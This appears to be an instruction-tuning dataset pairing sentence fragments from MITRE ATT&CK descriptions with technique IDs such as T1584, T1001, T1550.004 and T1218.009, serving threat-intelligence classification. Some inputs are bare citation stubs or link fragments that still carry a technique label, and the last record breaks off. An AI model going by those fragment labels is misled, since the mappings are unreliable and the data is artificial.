Instruction: List the MITRE techniques contained in the text. ### Input: Infrastructure solutions include physical or cloud servers, domains, and third-party web and DNS services. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation:", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation:", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of compromised infrastructure allows adversaries to stage, launch, and execute operations.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of compromised infrastructure allows adversaries to stage, launch, and execute operations. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Phishing](https://attack.mitre.org/techniques/T1566)", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Phishing](https://attack.mitre.org/techniques/T1566) ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "campaigns.(Citation: FireEye DNS Hijack 2019)", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: campaigns.(Citation: FireEye DNS Hijack 2019) ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, adversaries may also compromise infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090) and/or proxyware services.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking)", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, adversaries may also compromise infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090) and/or proxyware services.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking) ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig) ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise third-party DNS servers that can be used during targeting.", "output": "T1584.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise third-party DNS servers that can be used during targeting. ### Response: T1584.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)).", "output": "T1584.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). ### Response: T1584.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.", "output": "T1584.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations. ### Response: T1584.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By compromising DNS servers, adversaries can alter DNS records.", "output": "T1584.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By compromising DNS servers, adversaries can alter DNS records. ### Response: T1584.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation:", "output": "T1584.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: ### Response: T1584.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019)", "output": "T1584.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) ### Response: T1584.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, adversaries may leverage such control in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004) to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation:", "output": "T1584.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, adversaries may leverage such control in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004) to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation: ### Response: T1584.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Crowdstrike DNS Hijack 2019)", "output": "T1584.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Crowdstrike DNS Hijack 2019) ### Response: T1584.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)", "output": "T1584.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing) ### Response: T1584.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may obfuscate command and control traffic to make it more difficult to detect.", "output": "T1001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may obfuscate command and control traffic to make it more difficult to detect. ### Response: T1001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen.", "output": "T1001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. ### Response: T1001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.", "output": "T1001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols. ### Response: T1001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts.", "output": "T1001.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. ### Response: T1001.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic.", "output": "T1001.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. ### Response: T1001.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity.", "output": "T1001.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. ### Response: T1001.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.", "output": "T1012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software. ### Response: T1012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry)", "output": "T1012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) ### Response: T1012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information can easily be queried using the [Reg](https://attack.mitre.org/software/S0075) utility, though other means to access the Registry exist.", "output": "T1012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information can easily be queried using the [Reg](https://attack.mitre.org/software/S0075) utility, though other means to access the Registry exist. ### Response: T1012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some of the information may help adversaries to further their operation within a network.", "output": "T1012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some of the information may help adversaries to further their operation within a network. ### Response: T1012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", "output": "T1012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. ### Response: T1012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds.", "output": "T1030", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. ### Response: T1030."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This approach may be used to avoid triggering network data transfer threshold alerts.", "output": "T1030", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This approach may be used to avoid triggering network data transfer threshold alerts. ### Response: T1030."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).", "output": "T1028", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). ### Response: T1028."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft WinRM) It may be called with the <code>winrm</code> command or by any number of programs such as PowerShell.", "output": "T1028", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft WinRM) It may be called with the <code>winrm</code> command or by any number of programs such as PowerShell. ### Response: T1028."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Jacobsen 2014)", "output": "T1028", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Jacobsen 2014) ### Response: T1028."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.", "output": "T1550", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. ### Response: T1550."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Authentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.).", "output": "T1550", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Authentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). ### Response: T1550."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s).", "output": "T1550", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). ### Response: T1550."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s).", "output": "T1550", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). ### Response: T1550."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Because the alternate authentication must be maintained by the system\u2014either in memory or on disk\u2014it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques.", "output": "T1550", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Because the alternate authentication must be maintained by the system\u2014either in memory or on disk\u2014it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. ### Response: T1550."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.", "output": "T1550", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors. ### Response: T1550."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use stolen session cookies to authenticate to web applications and services.", "output": "T1550.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use stolen session cookies to authenticate to web applications and services. ### Response: T1550.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently.", "output": "T1550.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. ### Response: T1550.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cookies are often valid for an extended period of time, even if the web application is not actively used.", "output": "T1550.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cookies are often valid for an extended period of time, even if the web application is not actively used. ### Response: T1550.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active.", "output": "T1550.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. ### Response: T1550.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.", "output": "T1550.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform. ### Response: T1550.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation:", "output": "T1550.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: ### Response: T1550.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unit 42 Mac Crypto Cookies January 2019)", "output": "T1550.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unit 42 Mac Crypto Cookies January 2019) ### Response: T1550.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.", "output": "T1078", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. ### Response: T1078."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network.", "output": "T1078", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. ### Response: T1078."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.", "output": "T1078", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. ### Response: T1078."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization.", "output": "T1078", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. ### Response: T1078."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)", "output": "T1078", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare) ### Response: T1078."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)", "output": "T1078", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft) ### Response: T1078."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft)", "output": "T1078.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) ### Response: T1078.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain.", "output": "T1078.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. ### Response: T1078.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)", "output": "T1078.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts) ### Response: T1078.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.", "output": "T1078.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain. ### Response: T1078.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project)", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split) ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility.", "output": "T1218.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. ### Response: T1218.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET", "output": "T1218.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Regsvcs and Regasm are Windows command-line utilities that are used to register .NET ### Response: T1218.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies.", "output": "T1218.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. ### Response: T1218.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Both are binaries that may be digitally signed by Microsoft.", "output": "T1218.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Both are binaries that may 